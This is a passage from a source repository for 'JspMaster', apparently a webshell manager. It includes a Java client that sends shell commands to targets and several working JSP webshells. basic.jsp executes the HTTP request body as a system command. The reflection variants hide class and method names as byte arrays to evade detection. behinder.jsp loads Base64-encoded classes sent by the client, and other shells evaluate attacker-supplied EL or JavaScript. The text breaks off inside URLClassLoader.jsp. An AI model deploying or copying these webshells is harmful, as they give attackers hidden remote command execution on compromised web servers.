├── config
└── config.properties
├── src
├── META-INF
│ └── MANIFEST.MF
└── main
│ ├── resources
│ └── icon
│ │ ├── drive.png
│ │ ├── file.png
│ │ └── folder.png
│ └── java
│ └── com
│ └── feihong
│ ├── util
│ ├── PasswordUtil.java
│ ├── InputValidatorUtil.java
│ ├── MyClassLoader.java
│ ├── WrappedHttpRequest.java
│ ├── ConnectionUtil.java
│ ├── BasicSetting.java
│ ├── BasicUtil.java
│ ├── ConfigUtil.java
│ ├── EncryptUtil.java
│ └── FileOperationUtil.java
│ ├── executor
│ ├── CommandExecutor.java
│ ├── CommandExecutorFactory.java
│ ├── RMICommandExecutor.java
│ ├── BasicCommandExecutor.java
│ ├── JNDICommandExecutor.java
│ ├── ReflectionCommandExecutor.java
│ ├── ClassLoaderCommandExecutor.java
│ ├── ScriptManagerExecutor.java
│ ├── ELProcessorCommandExecutor.java
│ ├── BehinderCommandExecutor.java
│ ├── DeserializationCommandExecutor.java
│ └── XSLTCommandExecutor.java
│ ├── ui
│ ├── PromptMessageUI.java
│ ├── Start.java
│ ├── MainUI.java
│ ├── PenddingUI.java
│ ├── ShellOperationMenu.java
│ ├── ExecuteCMDPane.java
│ └── LoginUI.java
│ ├── bean
│ ├── BasicInfo.java
│ ├── FileModel.java
│ ├── CommandExecutionResult.java
│ ├── Entry.java
│ └── ShellEntry.java
│ ├── task
│ ├── TestConnectionTask.java
│ ├── CheckLoginPassword.java
│ ├── OpenMainUITask.java
│ ├── WindowsPlatformUploadThread.java
│ ├── InitializeTask.java
│ ├── LinuxPlatformDownloadTask.java
│ ├── LinuxPlatformUploadThread.java
│ ├── WindowsPlatformDownloadThread.java
│ ├── WindowsPlatformDownloadTask.java
│ ├── LinuxPlatformDownloadThread.java
│ ├── LinuxPlatformUploadTask.java
│ └── WindowsPlatformUploadTask.java
│ ├── asm
│ ├── BehinderExploit.java
│ ├── BehinderExploitAES.java
│ └── AsmForBehind.java
│ └── db
│ └── DBUtil.java
├── tool
├── jndi.zip
├── rmi.zip
└── debug.jar
├── database
└── data.db
├── imgForReadme
├── rmi.png
├── jndi.png
├── start.png
└── filemanage.png
├── plugin
├── PHPDemo.class
└── CommandExecutor.java
├── shell
├── 流量未加密版本
│ ├── phpdemo.php
│ ├── behinder.jsp
│ ├── basic.jsp
│ ├── ELProcessor.jsp
│ ├── reflection-2.jsp
│ ├── reflection-1.jsp
│ ├── scriptmanager.jsp
│ ├── URLClassLoader.jsp
│ ├── xslt.jsp
│ ├── reflection-3.jsp
│ ├── jndi.jsp
│ ├── rmi.jsp
│ └── deserialization.jsp
└── 流量加密版本
│ ├── xslt-aes.jsp
│ ├── URLClassLoader-aes.jsp
│ ├── behinder-aes.jsp
│ ├── basic-aes.jsp
│ ├── reflection-aes-2.jsp
│ ├── ELProcessor-aes.jsp
│ ├── scriptmanager-aes.jsp
│ ├── reflection-aes-1.jsp
│ ├── reflection-aes-3.jsp
│ ├── jndi-aes.jsp
│ ├── rmi-aes.jsp
│ └── deserialization-aes.jsp
├── .idea
├── .gitignore
├── gradle.xml
├── vcs.xml
├── description.html
├── encodings.xml
├── modules.xml
├── libraries
│ ├── Maven__org_ow2_asm_asm_7_2.xml
│ ├── Maven__junit_junit_4_13_rc_1.xml
│ ├── Maven__javax_javaee_api_8_0_1.xml
│ ├── Maven__com_jfoenix_jfoenix_9_0_9.xml
│ ├── Maven__commons_io_commons_io_2_6.xml
│ ├── Maven__com_sun_mail_javax_mail_1_6_2.xml
│ ├── Maven__javax_activation_activation_1_1.xml
│ ├── Maven__org_hamcrest_hamcrest_core_1_3.xml
│ ├── Maven__org_xerial_sqlite_jdbc_3_28_0.xml
│ ├── Maven__commons_codec_commons_codec_1_11.xml
│ ├── Maven__commons_logging_commons_logging_1_2.xml
│ ├── Maven__org_apache_httpcomponents_httpcore_4_4_12.xml
│ ├── Maven__org_apache_httpcomponents_httpclient_4_5_10.xml
│ └── Maven__org_apache_commons_commons_collections4_4_4.xml
├── misc.xml
├── compiler.xml
├── dataSources.xml
└── artifacts
│ └── JspMaster.xml
├── JspMaster.iml
├── README.md
└── pom.xml
/config/config.properties:
--------------------------------------------------------------------------------
1 | IV=
2 | communicationKey=
3 | encrypt=
4 |
--------------------------------------------------------------------------------
/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: com.feihong.ui.Start
3 |
4 |
--------------------------------------------------------------------------------
/tool/jndi.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/tool/jndi.zip
--------------------------------------------------------------------------------
/tool/rmi.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/tool/rmi.zip
--------------------------------------------------------------------------------
/tool/debug.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/tool/debug.jar
--------------------------------------------------------------------------------
/database/data.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/database/data.db
--------------------------------------------------------------------------------
/imgForReadme/rmi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/imgForReadme/rmi.png
--------------------------------------------------------------------------------
/plugin/PHPDemo.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/plugin/PHPDemo.class
--------------------------------------------------------------------------------
/shell/流量未加密版本/phpdemo.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/imgForReadme/jndi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/imgForReadme/jndi.png
--------------------------------------------------------------------------------
/imgForReadme/start.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/imgForReadme/start.png
--------------------------------------------------------------------------------
/shell/流量加密版本/xslt-aes.jsp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/shell/流量加密版本/xslt-aes.jsp
--------------------------------------------------------------------------------
/imgForReadme/filemanage.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/imgForReadme/filemanage.png
--------------------------------------------------------------------------------
/src/main/resources/icon/drive.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/src/main/resources/icon/drive.png
--------------------------------------------------------------------------------
/src/main/resources/icon/file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/src/main/resources/icon/file.png
--------------------------------------------------------------------------------
/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /workspace.xml
3 |
4 | # Datasource local storage ignored files
5 | /dataSources.local.xml
--------------------------------------------------------------------------------
/src/main/resources/icon/folder.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/src/main/resources/icon/folder.png
--------------------------------------------------------------------------------
/src/main/java/com/feihong/util/PasswordUtil.java:
--------------------------------------------------------------------------------
1 | package com.feihong.util;
2 |
3 | public class PasswordUtil {
4 | public static String password;
5 | }
6 |
--------------------------------------------------------------------------------
/.idea/gradle.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/description.html:
--------------------------------------------------------------------------------
1 | Simple JavaFX 2.0 application that includes simple .fxml file with attached controller and Main class to quick start. Artifact to build JavaFX application is provided.
2 |
--------------------------------------------------------------------------------
/.idea/encodings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/plugin/CommandExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import java.io.IOException;
5 |
6 | public interface CommandExecutor {
7 | public abstract String getName();
8 | public abstract CommandExecutionResult exec(String command);
9 | }
10 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/CommandExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 |
5 | import java.io.IOException;
6 |
7 | public interface CommandExecutor {
8 | public abstract String getName();
9 | public abstract CommandExecutionResult exec(String command);
10 | }
11 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ui/PromptMessageUI.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ui;
2 |
3 | import javafx.scene.control.Alert;
4 |
5 | public class PromptMessageUI {
6 | public static void getAlert(String title, String message){
7 | Alert alert = new Alert(Alert.AlertType.INFORMATION);
8 | alert.setTitle(title);
9 | alert.setHeaderText(null);
10 | alert.setContentText(message);
11 | alert.showAndWait();
12 | }
13 | }
14 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_ow2_asm_asm_7_2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__junit_junit_4_13_rc_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__javax_javaee_api_8_0_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_jfoenix_jfoenix_9_0_9.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__commons_io_commons_io_2_6.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__com_sun_mail_javax_mail_1_6_2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__javax_activation_activation_1_1.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_xerial_sqlite_jdbc_3_28_0.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__commons_codec_commons_codec_1_11.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_apache_httpcomponents_httpcore_4_4_12.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_apache_httpcomponents_httpclient_4_5_10.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/shell/流量未加密版本/behinder.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.BufferedReader" %>
2 | <%@ page import="java.util.Base64" %>
3 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
4 | <%!
5 | class U extends ClassLoader{
6 | U(ClassLoader c){
7 | super(c);
8 | }
9 |
10 | public Class g(byte []b){
11 | return super.defineClass(b,0,b.length);
12 | }
13 | }
14 | %>
15 | <%
16 | String wholeStr = request.getReader().readLine();
17 | if(wholeStr != null && !wholeStr.trim().equals("")) {
18 | new U(this.getClass().getClassLoader()).g(Base64.getDecoder().decode(wholeStr)).newInstance().equals(pageContext);
19 | }
20 | %>
--------------------------------------------------------------------------------
/.idea/libraries/Maven__org_apache_commons_commons_collections4_4_4.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/CommandExecutorFactory.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.util.BasicSetting;
4 | import com.feihong.util.MyClassLoader;
5 |
6 | public class CommandExecutorFactory {
7 |
8 | public static CommandExecutor getInstance(){
9 | try {
10 | String className = BasicSetting.getInstance().shells.get(BasicSetting.getInstance().shellType);
11 | MyClassLoader classLoader = new MyClassLoader();
12 | Class clazz = classLoader.findClass(className);
13 |
14 | return (CommandExecutor) clazz.newInstance();
15 | } catch (Exception e) {
16 | e.printStackTrace();
17 | }
18 |
19 | return null;
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/RMICommandExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import com.feihong.util.BasicSetting;
5 | import com.feihong.util.WrappedHttpRequest;
6 |
7 | public class RMICommandExecutor implements CommandExecutor {
8 |
9 | @Override
10 | public String getName() {
11 | return "RMI";
12 | }
13 |
14 | @Override
15 | public CommandExecutionResult exec(String command) {
16 | String wrappedCommand;
17 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){
18 | wrappedCommand = command;
19 | }else{
20 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){
21 | wrappedCommand = "cmd.exe,/c," + command;
22 | }else{
23 | wrappedCommand = "/bin/bash,-c," + command;
24 | }
25 | }
26 |
27 | return WrappedHttpRequest.post(wrappedCommand);
28 | }
29 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/bean/BasicInfo.java:
--------------------------------------------------------------------------------
1 | package com.feihong.bean;
2 |
3 | import javafx.beans.property.SimpleStringProperty;
4 |
5 | public class BasicInfo {
6 | private SimpleStringProperty type;
7 | private SimpleStringProperty value;
8 |
9 | public BasicInfo(String type, String value) {
10 | this.type = new SimpleStringProperty(type);
11 | this.value = new SimpleStringProperty(value);
12 | }
13 |
14 | public BasicInfo(){
15 |
16 | }
17 |
18 | public String getType() {
19 | return type.get();
20 | }
21 |
22 | public SimpleStringProperty typeProperty() {
23 | return type;
24 | }
25 |
26 | public void setType(String type) {
27 | this.type.set(type);
28 | }
29 |
30 | public String getValue() {
31 | return value.get();
32 | }
33 |
34 | public SimpleStringProperty valueProperty() {
35 | return value;
36 | }
37 |
38 | public void setValue(String value) {
39 | this.value.set(value);
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/BasicCommandExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import com.feihong.util.BasicSetting;
5 | import com.feihong.util.WrappedHttpRequest;
6 |
7 | public class BasicCommandExecutor implements CommandExecutor {
8 |
9 | @Override
10 | public String getName() {
11 | return "Basic";
12 | }
13 |
14 | @Override
15 | public CommandExecutionResult exec(String command) {
16 | String wrappedCommand;
17 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){
18 | wrappedCommand = command;
19 | }else{
20 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){
21 | wrappedCommand = "cmd.exe,/c," + command;
22 | }else{
23 | wrappedCommand = "/bin/bash,-c," + command;
24 | }
25 | }
26 |
27 | return WrappedHttpRequest.post(wrappedCommand);
28 | }
29 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/JNDICommandExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import com.feihong.util.BasicSetting;
5 | import com.feihong.util.WrappedHttpRequest;
6 |
7 | public class JNDICommandExecutor implements CommandExecutor {
8 |
9 | @Override
10 | public String getName() {
11 | return "JNDI";
12 | }
13 |
14 | @Override
15 | public CommandExecutionResult exec(String command) {
16 | String wrappedCommand;
17 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){
18 | wrappedCommand = command;
19 | }else{
20 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){
21 | wrappedCommand = "cmd.exe,/c," + command;
22 | }else{
23 | wrappedCommand = "/bin/bash,-c," + command;
24 | }
25 | }
26 |
27 | return WrappedHttpRequest.post(wrappedCommand);
28 | }
29 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/executor/ReflectionCommandExecutor.java:
--------------------------------------------------------------------------------
1 | package com.feihong.executor;
2 |
3 | import com.feihong.bean.CommandExecutionResult;
4 | import com.feihong.util.BasicSetting;
5 | import com.feihong.util.WrappedHttpRequest;
6 |
7 | public class ReflectionCommandExecutor implements CommandExecutor {
8 |
9 | @Override
10 | public String getName() {
11 | return "Reflection";
12 | }
13 |
14 | @Override
15 | public CommandExecutionResult exec(String command) {
16 | String wrappedCommand;
17 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){
18 | wrappedCommand = command;
19 | }else{
20 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){
21 | wrappedCommand = "cmd.exe,/c," + command;
22 | }else{
23 | wrappedCommand = "/bin/bash,-c," + command;
24 | }
25 | }
26 |
27 | return WrappedHttpRequest.post(wrappedCommand);
28 | }
29 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/task/TestConnectionTask.java:
--------------------------------------------------------------------------------
1 | package com.feihong.task;
2 |
3 | import com.feihong.bean.ShellEntry;
4 | import com.feihong.util.BasicSetting;
5 | import com.feihong.util.ConnectionUtil;
6 | import javafx.concurrent.Task;
7 |
8 | public class TestConnectionTask extends Task {
9 | private String result;
10 | private ShellEntry entry;
11 | private int status = 0;
12 |
13 |
14 | public TestConnectionTask(ShellEntry entry){
15 | this.entry = entry;
16 | }
17 |
18 | public int getStatus(){
19 | return this.status;
20 | }
21 |
22 | public String getConnectionStatus(){
23 | return this.result;
24 | }
25 |
26 | @Override
27 | protected Integer call() {
28 | BasicSetting.getInstance().initialize(entry);
29 | String connecionStatus = ConnectionUtil.getConnectionStatus();
30 | this.result = connecionStatus;
31 | this.status = 1;
32 |
33 | return 1;
34 | }
35 | }
36 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382
--------------------------------------------------------------------------------
/.idea/compiler.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/shell/流量未加密版本/basic.jsp:
--------------------------------------------------------------------------------
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
2 | <%@ page import="java.io.*" %>
3 | <% request.setCharacterEncoding("UTF-8"); %>
4 | <%
5 | try {
6 | BufferedReader br = request.getReader();
7 | String str, wholeStr = "";
8 | while((str = br.readLine()) != null) {
9 | wholeStr += str + "\n";
10 | }
11 | br.close();
12 |
13 | if(wholeStr != null && !wholeStr.trim().equals("")){
14 | wholeStr = wholeStr.substring(0,wholeStr.length()-1);
15 | InputStream in = Runtime.getRuntime().exec(wholeStr.split(",",3)).getInputStream();
16 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
17 | byte[] buffer = new byte[1024];
18 | int len = 0;
19 | while((len = in.read(buffer)) != -1) {
20 | baos.write(buffer, 0, len);
21 | }
22 | response.getWriter().print(baos.toString().trim());
23 | out.clearBuffer();
24 | in.close();
25 | baos.close();
26 | }
27 | } catch (IOException e) {
28 | System.err.println(e);
29 | }
30 | %>
31 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/task/CheckLoginPassword.java:
--------------------------------------------------------------------------------
1 | package com.feihong.task;
2 |
3 | import com.feihong.db.DBUtil;
4 | import com.feihong.util.BasicSetting;
5 | import com.feihong.util.EncryptUtil;
6 | import com.feihong.util.PasswordUtil;
7 | import javafx.concurrent.Task;
8 |
9 | public class CheckLoginPassword extends Task {
10 | private int status = 0;
11 |
12 | public int getStatus(){
13 | return status;
14 | }
15 |
16 | @Override
17 | protected Integer call(){
18 | try{
19 | //打开时解密 sqlite 数据库文件
20 | EncryptUtil.decryptFile(BasicSetting.getInstance().dbFile, PasswordUtil.password);
21 | //调用这个方法主要是看会不会抛出异常。如果正常执行未抛出异常,说明解密成功,否则说明密码错误,解密失败
22 | DBUtil.queryAll();
23 | status = 1;
24 | }catch(Exception e) {
25 | if (e.getMessage().contains("file is not a database")) {
26 | status = -1;
27 | }
28 | status = -1;
29 | }
30 |
31 | return 1;
32 | }
33 | }
34 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382
--------------------------------------------------------------------------------
/src/main/java/com/feihong/util/InputValidatorUtil.java:
--------------------------------------------------------------------------------
1 | package com.feihong.util;
2 |
3 | import java.net.URL;
4 |
5 | public class InputValidatorUtil {
6 |
7 | public static boolean isValidURL(String url){
8 | try{
9 | URL u = new URL(url);
10 | }catch(Exception e) {
11 | return false;
12 | }
13 |
14 | return true;
15 | }
16 |
17 | public static boolean isValidEncryptKey(String encrypteKey){
18 | if(encrypteKey == null || encrypteKey.equalsIgnoreCase("")){
19 | return true;
20 | }
21 |
22 | if(encrypteKey.length() != 32){
23 | return false;
24 | }
25 |
26 | String regex = "^[a-zA-Z0-9]{32}$";
27 | return encrypteKey.matches(regex);
28 | }
29 |
30 | public static boolean isValidIV(String iv){
31 | if(iv == null || iv.equalsIgnoreCase("")){
32 | return true;
33 | }
34 |
35 | if(iv.length() != 16){
36 | return false;
37 | }
38 |
39 | String regex = "^[a-zA-Z0-9]{16}$";
40 | return iv.matches(regex);
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/.idea/dataSources.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | sqlite.xerial
6 | true
7 | org.sqlite.JDBC
8 | jdbc:sqlite:G:\code\java\pudge2\target\classes\database\data.db
9 |
10 |
11 |
12 |
13 |
14 | sqlite.xerial
15 | true
16 | org.sqlite.JDBC
17 | jdbc:sqlite:G:\code\java\pudge2\src\main\resources\database\data.db
18 |
19 |
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/util/MyClassLoader.java:
--------------------------------------------------------------------------------
1 | package com.feihong.util;
2 |
3 | import java.io.File;
4 | import java.nio.file.Files;
5 | import java.nio.file.Path;
6 | import java.nio.file.Paths;
7 |
8 | public class MyClassLoader extends ClassLoader{
9 |
10 | @Override
11 | public Class> findClass(String name){
12 | Class clazz = null;
13 | try{
14 | clazz = Class.forName(name);
15 | } catch (ClassNotFoundException e) {
16 | try {
17 | String mypath = System.getProperty("user.dir") + "/plugin/" + name + ".class";
18 | if(!new File(mypath).exists()){
19 | mypath = System.getProperty("user.dir") + "/plugin/" + name.substring(name.lastIndexOf(".") + 1) + ".class";
20 | }
21 |
22 | Path path = Paths.get(mypath);
23 | byte[] cLassBytes = Files.readAllBytes(path);
24 | clazz = defineClass(name, cLassBytes, 0, cLassBytes.length);
25 | } catch (Exception e2) {
26 | e2.printStackTrace();
27 | }
28 | }
29 |
30 | return clazz;
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/shell/流量未加密版本/ELProcessor.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="javax.el.ELProcessor" %>
2 | <%@ page import="java.io.BufferedInputStream" %>
3 | <%@ page import="java.io.ByteArrayOutputStream" %>
4 | <%@ page import="java.io.BufferedReader" %>
5 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
6 | <%
7 | BufferedReader br = request.getReader();
8 | String str, wholeStr = "";
9 | while((str = br.readLine()) != null) {
10 | wholeStr += str + "\n";
11 | }
12 | br.close();
13 |
14 | if(wholeStr != null && !wholeStr.trim().equals("")) {
15 | wholeStr = wholeStr.substring(0, wholeStr.length() - 1);
16 | ELProcessor el = new ELProcessor();
17 | BufferedInputStream bis = (BufferedInputStream)el.getValue(wholeStr,Class.forName("java.io.BufferedInputStream"));
18 | int len = 0;
19 | byte[] bytes = new byte[1024];
20 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
21 | while((len = bis.read(bytes)) != -1){
22 | baos.write(bytes,0,len);
23 | }
24 |
25 | response.getWriter().print(baos.toString().trim());
26 | bis.close();
27 | baos.close();
28 | }
29 | %>
30 |
--------------------------------------------------------------------------------
/shell/流量未加密版本/reflection-2.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.*" %>
2 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
3 | <%
4 | BufferedReader br = request.getReader();
5 | String str, wholeStr = "";
6 | while((str = br.readLine()) != null) {
7 | wholeStr += str + "\n";
8 | }
9 | br.close();
10 | if(wholeStr != null && !wholeStr.trim().equals("")){
11 | wholeStr = wholeStr.substring(0,wholeStr.length()-1);
12 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,80,114,111,99,101,115,115,66,117,105,108,100,101,114}));
13 | InputStream in = ((Process)clazz.getMethod(new String(new byte[]{115,116,97,114,116})).invoke(clazz.getConstructor(String[].class).newInstance(new Object[]{wholeStr.split(",",3)}), new Object[]{})).getInputStream();
14 | int len = 0;
15 | byte[] buffer = new byte[1024];
16 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
17 | while((len = in.read(buffer)) != -1){
18 | baos.write(buffer, 0, len);
19 | }
20 |
21 | response.getWriter().print(baos.toString().trim());
22 | in.close();
23 | baos.close();
24 | }
25 | %>
--------------------------------------------------------------------------------
/shell/流量未加密版本/reflection-1.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.*" %>
2 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
3 | <%
4 | BufferedReader br = request.getReader();
5 | String str, wholeStr = "";
6 | while((str = br.readLine()) != null) {
7 | wholeStr += str + "\n";
8 | }
9 | br.close();
10 | if(wholeStr != null && !wholeStr.trim().equals("")){
11 | wholeStr = wholeStr.substring(0,wholeStr.length()-1);
12 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101}));
13 | InputStream in = ((Process) clazz.getMethod(new String(new byte[] {101,120,101,99}), String[].class).invoke(clazz.getMethod(new String(new byte[] {103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{wholeStr.split(",",3)})).getInputStream();
14 | int len = 0;
15 | byte[] buffer = new byte[1024];
16 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
17 | while((len = in.read(buffer)) != -1){
18 | baos.write(buffer, 0, len);
19 | }
20 |
21 | response.getWriter().print(baos.toString().trim());
22 | in.close();
23 | baos.close();
24 | }
25 | %>
--------------------------------------------------------------------------------
/shell/流量未加密版本/scriptmanager.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.io.*" %>
2 | <%@ page import="javax.script.ScriptEngine" %>
3 | <%@ page import="javax.script.ScriptEngineManager" %>
4 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
5 | <%!
6 | public String readInputStream(InputStream inputStream) throws IOException {
7 | int len = 0;
8 | byte[] buffer = new byte[1024];
9 | ByteArrayOutputStream baos = new ByteArrayOutputStream();
10 | while((len = inputStream.read(buffer)) != -1){
11 | baos.write(buffer, 0, len);
12 | }
13 | baos.close();
14 | return baos.toString().trim();
15 | }
16 | %>
17 | <%
18 | ScriptEngineManager manager = new ScriptEngineManager();
19 | ScriptEngine engine = manager.getEngineByName("javascript");
20 |
21 | engine.put("obj", this);
22 | engine.put("out", out);
23 |
24 | BufferedReader br = request.getReader();
25 | String str, wholeStr = "";
26 | while((str = br.readLine()) != null) {
27 | wholeStr += str + "\n";
28 | }
29 | if(wholeStr != null && !wholeStr.trim().equals("")){
30 | wholeStr = wholeStr.substring(0,wholeStr.length()-1);
31 | engine.eval(wholeStr.trim());
32 | }
33 | %>
--------------------------------------------------------------------------------
/shell/流量未加密版本/URLClassLoader.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.net.URL" %>
2 | <%@ page import="java.net.URLClassLoader" %>
3 | <%@ page import="java.lang.reflect.Method" %>
4 | <%@ page import="java.io.BufferedReader" %>
5 | <%@ page contentType="text/html;charset=UTF-8" language="java" %>
6 | <%!
7 | private class Holder{
8 | public Class getInstance() {
